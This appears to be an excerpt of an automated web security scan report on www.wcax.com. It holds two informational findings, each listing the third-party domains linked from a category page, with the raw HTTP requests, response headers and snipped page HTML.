<a href="/Global/story.asp?S=452830"><img src="http://WCAX.images.worldnow.com/images/452830_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=12799373"><img src="http://WCAX.images.worldnow.com/images/12799373_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=452746"><img src="http://WCAX.images.worldnow.com/images/452746_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=11471372"><img src="http://WCAX.images.worldnow.com/images/11471372_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14005481"><img src="http://WCAX.images.worldnow.com/images/14005481_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=923402"><img src="http://WCAX.images.worldnow.com/images/923402_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=452854"><img src="http://WCAX.images.worldnow.com/images/452854_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=452861"><img src="http://WCAX.images.worldnow.com/images/452861_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=452867"><img src="http://WCAX.images.worldnow.com/images/452867_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=452870"><img src="http://WCAX.images.worldnow.com/images/452870_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=13270759"><img src="http://WCAX.images.worldnow.com/images/13270759_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=452936"><img src="http://WCAX.images.worldnow.com/images/452936_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=8748030"><img src="http://WCAX.images.worldnow.com/images/8748030_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=13230909"><img src="http://WCAX.images.worldnow.com/images/13230909_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=12840575"><img src="http://WCAX.images.worldnow.com/images/12840575_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=11522911"><img src="http://WCAX.images.worldnow.com/images/11522911_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=11529474"><img src="http://WCAX.images.worldnow.com/images/11529474_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=11522781"><img src="http://WCAX.images.worldnow.com/images/11522781_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=10925688"><img src="http://WCAX.images.worldnow.com/images/10925688_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=13288895"><img src="http://WCAX.images.worldnow.com/images/13288895_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=11280686"><img src="http://WCAX.images.worldnow.com/images/11280686_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=10883466"><img src="http://WCAX.images.worldnow.com/images/10883466_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=10883519"><img src="http://WCAX.images.worldnow.com/images/10883519_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=13073817"><img src="http://WCAX.images.worldnow.com/images/13073817_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=11280673"><img src="http://WCAX.images.worldnow.com/images/11280673_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=10926020"><img src="http://WCAX.images.worldnow.com/images/10926020_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=10883514"><img src="http://WCAX.images.worldnow.com/images/10883514_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=10876888"><img src="http://WCAX.images.worldnow.com/images/10876888_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=11280710"><img src="http://WCAX.images.worldnow.com/images/11280710_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<div id="WNCopyright"><a href="http://www.worldnow.com" target="_blank"><img src="http://WCAX.images.worldnow.com/images/static/container-e/wn_powerby.gif" alt="Powered by WorldNow" border="0"></a>
...[SNIP]...
<noscript><img src="http://analytics.worldnow.com/dcsuhch2hzersfqyzf2de5tct_4d8l/njs.gif?dcsuri=/nojavascript&amp;WT.js=No&amp;WT.tv=8.0.0&amp;WT.sp=WCAX&amp;dcssip=www.wcax.com" name="DCSIMG" width="1" height="1" border="0" alt=""></noscript>
...[SNIP]...
<!--Page Include: BODY--><script type="text/javascript" src="http://tags.crwdcntrl.net/c/492/cc.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/global_zoom.js?ver=201011111600"></script>
...[SNIP]...
4.4. http://www.wcax.com/Global/category.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /Global/category.asp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /Global/category.asp?C=18197 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; __qca=P0-1094680209-1302352442492; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352442619:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
wn: iis14
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: MEMORY
Content-Type: text/html; charset=utf-8
Cteonnt-Length: 91623
Cache-Control: private, max-age=300
Date: Sat, 09 Apr 2011 12:34:13 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 91623

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>Local News
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/analytics/sdctag.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/globals.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/jq.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/container-e/core.js?ver=201011111600"></script>
<script type="text/javascript" language="JavaScript1.3" src="http://content.worldnow.com/global/tools/video/VideoFunctions.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnadmanager.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnvideo.js?ver=201011111600"></script>
<link type="text/css" rel="stylesheet" media="all" href="http://content.worldnow.com/global/interface/container-e/core.css?ver=201011111600">
<link type="text/css" rel="stylesheet" media="all" href="http://WCAX.images.worldnow.com/interface/css/container-e.css?ver=2011-03-26%2003%3A55%3A56">
<!--[if lt IE 6]>
...[SNIP]...
<![endif]-->
<link rel="stylesheet" type="text/css" href="http://content.worldnow.com/global/interface/integration/jquery.fancybox-1.3.1.css" media="screen">
<!--MENU INCLUDES-->
<link rel="stylesheet" href="http://content.worldnow.com/global/interface/menu/menu.css?ver=201011111600" type="text/css"><style type="text/css">
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/menu/menu.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/integration/thirdparty.js?ver=201011111600"></script>
...[SNIP]...
<label for="WNSearchBox-headertop-google_cs">WEB SEARCH BY <img src='http://WCAX.images.worldnow.com/global/images/google/google-logo.gif' alt='Google' class='wnSearchBoxLabelImg-google'></label>
...[SNIP]...
<noscript><iframe id="WNLinksContent391987" name="WNLinksContent391987" class="wnLinksContentIframe" src="http://ftpcontent.worldnow.com/wcax/custom/branding_feature_i.html" width="100%" height="70" scrolling="no" frameborder="0" marginwidth="0" marginheight="0">[Your user agent does not support frames or is currently configured to not display frames. However, you may visit <a href="http://ftpcontent.worldnow.com/wcax/custom/branding_feature_i.html">the related document.</a>
...[SNIP]...
<!--END wnDS70-->
<img id="WNBrandingImage" usemap="#wnBrandingMap" alt="" border="0" onload="if (window.WNElement) WNElement.positionOver('WNDS70', 'WNBrandingImage', { horizontal : 'right', vertical : 'middle' });" src="http://WCAX.images.worldnow.com/images/static/hdr/hdr_branding.jpg"><map name="wnBrandingMap">
...[SNIP]...
<a href="/Global/category.asp?C=18195"><img src="http://WCAX.images.worldnow.com/images/272499_G.gif" width="37" height="29" border="0" alt="Home WCAX.com" title="Home WCAX.com" onsrc="http://WCAX.images.worldnow.com/images/272500_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18197"><img src="http://WCAX.images.worldnow.com/images/272501_G.gif" width="34" height="29" border="0" alt="Local News" title="Local News" onsrc="http://WCAX.images.worldnow.com/images/272502_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18196"><img src="http://WCAX.images.worldnow.com/images/272503_G.gif" width="54" height="29" border="0" alt="Weather" title="Weather" onsrc="http://WCAX.images.worldnow.com/images/272504_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18198"><img src="http://WCAX.images.worldnow.com/images/272505_G.gif" width="43" height="29" border="0" alt="Sports" title="Sports" onsrc="http://WCAX.images.worldnow.com/images/272506_G.gif"></a>
...[SNIP]...
<a href="/Global/link.asp?L=408799"><img src="http://WCAX.images.worldnow.com/images/272508_G.gif" width="74" height="29" border="0" alt="WCAX Vermontopia Community Calendar" title="WCAX Vermontopia Community Calendar" onsrc="http://WCAX.images.worldnow.com/images/272509_G.gif"></a>
...[SNIP]...
<a href="javascript:OpenWin('http://www.vermontopia.com||height=768,width=1024,location=yes,resizable=yes,scrollbars=yes,toolbar=yes');"><img src="http://WCAX.images.worldnow.com/images/272510_G.gif" width="82" height="29" border="0" alt="Vermontopia.com" title="Vermontopia.com" onsrc="http://WCAX.images.worldnow.com/images/272511_G.gif"></a>
...[SNIP]...
<a href="/Global/link.asp?L=398823"><img src="http://WCAX.images.worldnow.com/images/272512_G.gif" width="74" height="29" border="0" alt="WCAX Promotions" title="WCAX Promotions" onsrc="http://WCAX.images.worldnow.com/images/272513_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=68446"><img src="http://WCAX.images.worldnow.com/images/272514_G.gif" width="54" height="29" border="0" alt="LIFESTYLE" title="LIFESTYLE" onsrc="http://WCAX.images.worldnow.com/images/272516_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18836"><img src="http://WCAX.images.worldnow.com/images/272517_G.gif" width="60" height="29" border="0" alt="Contact Us" title="Contact Us" onsrc="http://WCAX.images.worldnow.com/images/272518_G.gif"></a>
...[SNIP]...
</div>

<script type="text/javascript" src="http://www.worldnow.com/global/interface/jq.js"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/httprequest/httprequest.js"></script>
...[SNIP]...
<a href="/Global/story.asp?S=14408216"><img src="http://WCAX.images.worldnow.com/images/14408216_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14409898"><img src="http://WCAX.images.worldnow.com/images/14409898_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14408340"><img src="http://WCAX.images.worldnow.com/images/14408340_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14412893"><img src="http://WCAX.images.worldnow.com/images/14412893_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14412836"><img src="http://WCAX.images.worldnow.com/images/14412836_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14412419"><img src="http://WCAX.images.worldnow.com/images/14412419_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14413273"><img src="http://WCAX.images.worldnow.com/images/14413273_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14412949"><img src="http://WCAX.images.worldnow.com/images/14412949_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14413603"><img src="http://WCAX.images.worldnow.com/images/14413603_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14413215"><img src="http://WCAX.images.worldnow.com/images/14413215_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14412906"><img src="http://WCAX.images.worldnow.com/images/14412906_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14410562"><img src="http://WCAX.images.worldnow.com/images/14410562_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14408271"><img src="http://WCAX.images.worldnow.com/images/14408271_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14409902"><img src="http://WCAX.images.worldnow.com/images/14409902_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14413381"><img src="http://WCAX.images.worldnow.com/images/14413381_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=13611251"><img src="http://WCAX.images.worldnow.com/images/13611251_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14411911"><img src="http://WCAX.images.worldnow.com/images/14411911_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14411968"><img src="http://WCAX.images.worldnow.com/images/14411968_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14408811"><img src="http://WCAX.images.worldnow.com/images/14408811_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14400516"><img src="http://WCAX.images.worldnow.com/images/14400516_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14410537"><img src="http://WCAX.images.worldnow.com/images/14410537_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14404717"><img src="http://WCAX.images.worldnow.com/images/14404717_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14404311"><img src="http://WCAX.images.worldnow.com/images/14404311_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14403127"><img src="http://WCAX.images.worldnow.com/images/14403127_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14403029"><img src="http://WCAX.images.worldnow.com/images/14403029_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14400642"><img src="http://WCAX.images.worldnow.com/images/14400642_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14406263"><img src="http://WCAX.images.worldnow.com/images/14406263_SS.jpg" alt="" title="" border="0" width="50"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14404540"><img src="http://WCAX.images.worldnow.com/images/14404540_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14406338"><img src="http://WCAX.images.worldnow.com/images/14406338_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14400531"><img src="http://WCAX.images.worldnow.com/images/14400531_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14406368"><img src="http://WCAX.images.worldnow.com/images/14406368_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14406637"><img src="http://WCAX.images.worldnow.com/images/14406637_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14404425"><img src="http://WCAX.images.worldnow.com/images/14404425_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14406704"><img src="http://WCAX.images.worldnow.com/images/14406704_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14403054"><img src="http://WCAX.images.worldnow.com/images/14403054_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14405593"><img src="http://WCAX.images.worldnow.com/images/14405593_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14404916"><img src="http://WCAX.images.worldnow.com/images/14404916_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14405018"><img src="http://WCAX.images.worldnow.com/images/14405018_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=14404978"><img src="http://WCAX.images.worldnow.com/images/14404978_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
<div class="wnDVUtilityBlock"><script src="http://widgets.twimg.com/j/2/widget.js"></script>
...[SNIP]...
<a href="http://www.wcax.com/Global/category.asp?C=18830&nav=menu183_7"><img class="col3_ql_icon" src="http://WCAX.images.worldnow.com/images/272448_G.gif" /></a>
...[SNIP]...
<a href="http://www.wcax.com/Global/category.asp?C=74837&nav=menu183_8"><img class="col3_ql_icon" src="http://WCAX.images.worldnow.com/images/272449_G.gif" /></a>
...[SNIP]...
<a href="http://www.wcax.com/Global/category.asp?C=142185&nav=menu183_9"><img class="col3_ql_icon" src="http://WCAX.images.worldnow.com/images/272447_G.gif" /></a>
...[SNIP]...
<a href="http://www.wcax.com/Global/category.asp?C=157019&nav=menu183_10"><img class="col3_ql_icon" src="http://WCAX.images.worldnow.com/images/272446_G.gif" /></a>
...[SNIP]...
<a href="http://www.wcax.com/global/category.asp?c=13544"><img class="col3_ql_icon" src="http://WCAX.images.worldnow.com/images/272450_G.gif" /></a>
...[SNIP]...
<a href="http://www.wcax.com/global/Story.asp?s=3588651"><img class="col3_ql_icon" src="http://WCAX.images.worldnow.com/images/272351_G.gif" /></a>
...[SNIP]...
<a href="http://www.wcax.com/global/Story.asp?s=11107870"><img class="col3_ql_icon" src="http://WCAX.images.worldnow.com/images/272319_G.gif" /></a>
...[SNIP]...
<div class="col3_ql_right">
                   <a href="http://www.facebook.com/pages/South-Burlington-VT/WCAX-TV/140859045441"><img class="col3_ql_icon" src="http://WCAX.images.worldnow.com/images/272354_G.gif" /></a>
...[SNIP]...
<div class="col3_ql_link_text">
                           <a title="Facebook" style="font:bold 8pt Arial,Verdana,San-serif; color:#666666; line-height:11px;" href="http://www.facebook.com/pages/South-Burlington-VT/WCAX-TV/140859045441">Facebook</a>
...[SNIP]...
<a href="http://www.wcax.com/global/Story.asp?s=10540419"><img class="col3_ql_icon" src="http://WCAX.images.worldnow.com/images/272356_G.gif" /></a>
...[SNIP]...
<a href="http://www.wcax.com/Global/link.asp?L=186750"><img class="col3_ql_icon" src="http://WCAX.images.worldnow.com/images/272355_G.gif" /></a>
...[SNIP]...
<div class="wnDVUtilityBlock"><iframe src="http://www.facebook.com/plugins/likebox.php?id=140859045441&amp;width=292&amp;connections=10&amp;stream=true&amp;header=true&amp;height=587" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:292px; height:587px;" allowTransparency="true"></iframe>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<div id="WNCopyright"><a href="http://www.worldnow.com" target="_blank"><img src="http://WCAX.images.worldnow.com/images/static/container-e/wn_powerby.gif" alt="Powered by WorldNow" border="0"></a>
...[SNIP]...
<noscript><img src="http://analytics.worldnow.com/dcsuhch2hzersfqyzf2de5tct_4d8l/njs.gif?dcsuri=/nojavascript&amp;WT.js=No&amp;WT.tv=8.0.0&amp;WT.sp=WCAX&amp;dcssip=www.wcax.com" name="DCSIMG" width="1" height="1" border="0" alt=""></noscript>
...[SNIP]...
<!--Page Include: BODY--><script type="text/javascript" src="http://tags.crwdcntrl.net/c/492/cc.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/global_zoom.js?ver=201011111600"></script>
...[SNIP]...
4.5. http://www.wcax.com/Global/category.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /Global/category.asp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /Global/category.asp?C=68446 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352436393:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: IIS11
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: CACHE_DB
Content-Type: text/html; charset=utf-8
ntCoent-Length: 68568
Cache-Control: private, max-age=279
Expires: Sat, 09 Apr 2011 12:38:44 GMT
Date: Sat, 09 Apr 2011 12:34:05 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 68568

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>Lifestyle
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/analytics/sdctag.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/globals.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/jq.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/container-e/core.js?ver=201011111600"></script>
<script type="text/javascript" language="JavaScript1.3" src="http://content.worldnow.com/global/tools/video/VideoFunctions.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnadmanager.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnvideo.js?ver=201011111600"></script>
<link type="text/css" rel="stylesheet" media="all" href="http://content.worldnow.com/global/interface/container-e/core.css?ver=201011111600">
<link type="text/css" rel="stylesheet" media="all" href="http://WCAX.images.worldnow.com/interface/css/container-e.css?ver=2011-03-26%2003%3A55%3A56">
<!--[if lt IE 6]>
...[SNIP]...
<![endif]-->
<link rel="stylesheet" type="text/css" href="http://content.worldnow.com/global/interface/integration/jquery.fancybox-1.3.1.css" media="screen">
<!--MENU INCLUDES-->
<link rel="stylesheet" href="http://content.worldnow.com/global/interface/menu/menu.css?ver=201011111600" type="text/css"><style type="text/css">
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/menu/menu.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/integration/thirdparty.js?ver=201011111600"></script>
...[SNIP]...
<label for="WNSearchBox-headertop-google_cs">WEB SEARCH BY <img src='http://WCAX.images.worldnow.com/global/images/google/google-logo.gif' alt='Google' class='wnSearchBoxLabelImg-google'></label>
...[SNIP]...
<div id="WNBranding"><img id="WNBrandingImage" usemap="#wnBrandingMap" alt="" border="0" src="http://WCAX.images.worldnow.com/images/static/hdr/hdr_branding.jpg"><map name="wnBrandingMap">
...[SNIP]...
<a href="/Global/category.asp?C=18195"><img src="http://WCAX.images.worldnow.com/images/272499_G.gif" width="37" height="29" border="0" alt="Home WCAX.com" title="Home WCAX.com" onsrc="http://WCAX.images.worldnow.com/images/272500_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18197"><img src="http://WCAX.images.worldnow.com/images/272501_G.gif" width="34" height="29" border="0" alt="Local News" title="Local News" onsrc="http://WCAX.images.worldnow.com/images/272502_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18196"><img src="http://WCAX.images.worldnow.com/images/272503_G.gif" width="54" height="29" border="0" alt="Weather" title="Weather" onsrc="http://WCAX.images.worldnow.com/images/272504_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18198"><img src="http://WCAX.images.worldnow.com/images/272505_G.gif" width="43" height="29" border="0" alt="Sports" title="Sports" onsrc="http://WCAX.images.worldnow.com/images/272506_G.gif"></a>
...[SNIP]...
<a href="/Global/link.asp?L=408799"><img src="http://WCAX.images.worldnow.com/images/272508_G.gif" width="74" height="29" border="0" alt="WCAX Vermontopia Community Calendar" title="WCAX Vermontopia Community Calendar" onsrc="http://WCAX.images.worldnow.com/images/272509_G.gif"></a>
...[SNIP]...
<a href="javascript:OpenWin('http://www.vermontopia.com||height=768,width=1024,location=yes,resizable=yes,scrollbars=yes,toolbar=yes');"><img src="http://WCAX.images.worldnow.com/images/272510_G.gif" width="82" height="29" border="0" alt="Vermontopia.com" title="Vermontopia.com" onsrc="http://WCAX.images.worldnow.com/images/272511_G.gif"></a>
...[SNIP]...
